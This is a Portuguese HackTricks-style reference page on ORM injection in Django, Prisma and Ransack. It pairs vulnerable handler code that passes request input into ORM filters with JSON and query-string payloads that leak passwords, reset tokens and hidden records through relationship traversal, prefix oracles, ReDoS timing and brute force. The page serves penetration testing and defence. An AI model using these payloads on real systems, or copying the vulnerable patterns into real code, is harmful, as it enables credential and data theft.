ORM Injection

Support HackTricks

Django ORM (Python)

Em este post é explicado como é possível tornar um Django ORM vulnerável usando, por exemplo, um código como:

class ArticleView(APIView):
"""
Uma visão básica da API que os usuários enviam solicitações para
procurar artigos
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

Note como todos os request.data (que será um json) são passados diretamente para filtrar objetos do banco de dados. Um atacante poderia enviar filtros inesperados para vazar mais dados do que o esperado.

Exemplos:

  • Login: Em um login simples, tente vazar as senhas dos usuários registrados nele.

{
"username": "admin",
"password_startswith":"a"
}

É possível forçar a senha até que ela seja vazada.

  • Filtragem relacional: É possível percorrer relações para vazar informações de colunas que nem eram esperadas para serem usadas na operação. Por exemplo, se for possível vazar artigos criados por um usuário com essas relações: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).

{
"created_by__user__password__contains":"pass"
}

É possível encontrar a senha de todos os usuários que criaram um artigo

  • Filtragem relacional muitos-para-muitos: No exemplo anterior, não conseguimos encontrar senhas de usuários que não criaram um artigo. No entanto, seguindo outros relacionamentos, isso é possível. Por exemplo: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).

{
"created_by__departments__employees__user_startswith":"admi"
}

Neste caso, podemos encontrar todos os usuários nos departamentos de usuários que criaram artigos e, em seguida, vazar suas senhas (no json anterior, estamos apenas vazando os nomes de usuário, mas depois é possível vazar as senhas).

  • Abusando das relações muitos-para-muitos de Grupo e Permissão do Django com usuários: Além disso, o modelo AbstractUser é usado para gerar usuários no Django e, por padrão, esse modelo possui algumas relações muitos-para-muitos com as tabelas de Permissão e Grupo. O que basicamente é uma maneira padrão de acessar outros usuários a partir de um usuário se eles estiverem no mesmo grupo ou compartilharem a mesma permissão.

# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Contornar restrições de filtro: O mesmo post do blog propôs contornar o uso de alguns filtros como articles = Article.objects.filter(is_secret=False, **request.data). É possível despejar artigos que têm is_secret=True porque podemos voltar de um relacionamento para a tabela Article e vazar artigos secretos a partir de artigos não secretos, pois os resultados são unidos e o campo is_secret é verificado no artigo não secreto enquanto os dados são vazados do artigo secreto.

Article.objects.filter(is_secret=False, categories__articles__id=2)

Abusando de relacionamentos, é possível contornar até mesmo filtros destinados a proteger os dados exibidos.

  • Baseado em erro/tempo via ReDoS: Nos exemplos anteriores, esperava-se ter respostas diferentes se o filtro funcionasse ou não para usar isso como oráculo. Mas pode ser possível que alguma ação seja realizada no banco de dados e a resposta seja sempre a mesma. Nesse cenário, pode ser possível provocar um erro no banco de dados para obter um novo oráculo.

// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
  • SQLite: Não possui um operador regexp por padrão (é necessário carregar uma extensão de terceiros)

  • PostgreSQL: Não possui um tempo limite de regex por padrão e é menos propenso a retrocessos

  • MariaDB: Não possui um tempo limite de regex

Prisma ORM (NodeJS)

Os seguintes são truques extraídos deste post.

  • Controle total de busca:

const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// O atacante tem controle total de todas as opções do prisma
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

É possível ver que todo o corpo javascript é passado para o prisma para realizar consultas.

No exemplo do post original, isso verificaria todos os posts criados por alguém (cada post é criado por alguém) retornando também as informações do usuário dessa pessoa (nome de usuário, senha...)

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

O seguinte seleciona todas as postagens criadas por alguém com uma senha e retornará a senha:

{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • Controle total da cláusula where:

Vamos dar uma olhada onde o ataque pode controlar a cláusula where:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Vulnerável a vazamentos de ORM
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

É possível filtrar a senha dos usuários diretamente como:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})

Usando operações como startsWith, é possível vazar informações.

  • Contornando filtragem relacional muitos-para-muitos:

app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});

É possível vazar artigos não publicados ao retornar às relações muitos-para-muitos entre Category -[*..*]-> Article:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

É também possível vazar todos os usuários abusando de alguns relacionamentos muitos-para-muitos de loopback:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Error/Timed queries: No post original você pode ler um conjunto muito extenso de testes realizados para encontrar a carga útil ideal para vazar informações com uma carga útil baseada em tempo. Isso é:

{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Onde o {CONTAINS_LIST} é uma lista com 1000 strings para garantir que a resposta seja atrasada quando a vazamento correto for encontrado.

Ransack (Ruby)

Esses truques foram encontrados neste post.

Observe que o Ransack 4.0.0.0 agora exige o uso de uma lista de permissão explícita para atributos e associações pesquisáveis.

Exemplo vulnerável:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

Note como a consulta será definida pelos parâmetros enviados pelo atacante. Foi possível, por exemplo, forçar o token de redefinição com:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

Por meio de força bruta e potencialmente relacionamentos, foi possível vazar mais dados de um banco de dados.

Referências

Support HackTricks

Last updated